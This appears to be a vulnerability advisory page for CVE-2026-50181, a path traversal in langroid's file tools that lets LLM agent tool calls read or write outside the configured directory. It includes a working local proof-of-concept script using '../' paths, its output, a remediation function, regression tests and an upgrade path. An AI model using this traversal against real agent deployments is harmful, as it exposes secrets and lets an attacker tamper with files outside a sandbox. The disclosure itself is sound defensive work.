Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-50181 — langroid

HIGHFix: langroid/langroid@56e2756

CVE-2026-50181 is a high-severity (CVSS 7.1) Path Traversal vulnerability in langroid. A fix is available for langroid — see the affected versions and patch details below.

Langroid: Path traversal in the file tools allows read/write outside configured current directory

Also known asGHSA-fg23-3346-88f5PYSEC-2026-2578
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-50181.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk
0.00%0.24%0.49%0.73%0.2%0.2%0.2%0.2%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-50181 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍langroid

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Langroid's ReadFileTool and WriteFileTool appear to treat curr_dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr_dir and then operate on the user-supplied file_path without resolving and enforcing that the final path remains inside curr_dir.

As a result, a tool caller can supply path traversal sequences such as ../secret.txt to read files outside the configured current directory, or ../written_by_tool.txt to write files outside that directory.

This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on curr_dir to restrict file access to a project/workspace directory.

Details

Affected components:

  • langroid/agent/tools/file_tools.py
  • langroid/utils/system.py

Relevant behavior observed:

ReadFileTool contains a comment indicating the intended assumption:

# ASSUME: file_path should be relative to the curr_dir

The tool then changes into the configured current directory and calls read_file(self.file_path).

WriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).

The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.

In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.

PoC

Tested locally against the current Langroid repository checkout.

Environment:

Python 3.12
Langroid installed in editable mode with pip install -e .

PoC script:

from pathlib import Path
from tempfile import TemporaryDirectory
import os

os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"

from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool


class DummyIndex:
    def add(self, files):
        print("dummy git add:", files)

    def commit(self, message):
        print("dummy git commit:", message)


class DummyRepo:
    index = DummyIndex()


with TemporaryDirectory() as root:
    base = Path(root)
    sandbox = base / "sandbox"
    sandbox.mkdir()

    secret = base / "secret.txt"
    secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")

    ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
    read_tool = ReadSandbox(file_path="../secret.txt")

    print("READ TOOL RESULT:")
    print(read_tool.handle())

    WriteSandbox = WriteFileTool.create(
        get_curr_dir=lambda: sandbox,
        get_git_repo=lambda: DummyRepo(),
    )

    write_tool = WriteSandbox(
        file_path="../written_by_tool.txt",
        content="WRITTEN_BY_LANGROID_TOOL",
        language="text",
    )

    print("WRITE TOOL RESULT:")
    print(write_tool.handle())

    outside = base / "written_by_tool.txt"
    print("outside exists:", outside.exists())
    print("outside content:", outside.read_text(encoding="utf-8"))

Observed output:

READ TOOL RESULT:

    CONTENTS of ../secret.txt:
    (Line numbers added for reference only!)
    ---------------------------
    1: LANGROID_TOOL_ESCAPE_PROOF

WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL

This demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.

Impact

If an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.

Potential impact includes:

Reading files outside the intended workspace.
Writing files outside the intended workspace.
Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files.
Modifying files outside the intended project directory if WriteFileTool is enabled.

This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.

This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.

Suggested remediation

Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.

Example patch pattern:

from pathlib import Path

def safe_join(base_dir: str | Path, user_path: str | Path) -> Path:
    base = Path(base_dir).resolve()
    target = (base / user_path).resolve()

    if target != base and base not in target.parents:
        raise ValueError("Path escapes configured current directory")

    return target

Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.

Suggested regression tests:

ReadFileTool(file_path="../secret.txt") should be rejected.
WriteFileTool(file_path="../outside.txt") should be rejected.
Absolute paths outside curr_dir should be rejected.
Symlink-based escapes should be rejected after final path resolution.
Normal relative paths inside curr_dir, such as src/main.py, should continue to work.

[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlangroidall versions0.64.0pip install --upgrade 'langroid==0.64.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langroid, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update langroid to 0.64.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-50181 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary Langroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`. As a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory. This can impact applications that
O3 Security · Impact-Aware SCA

Is CVE-2026-50181 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-50181: langroid Path Traversal — Fixed in 0.64.0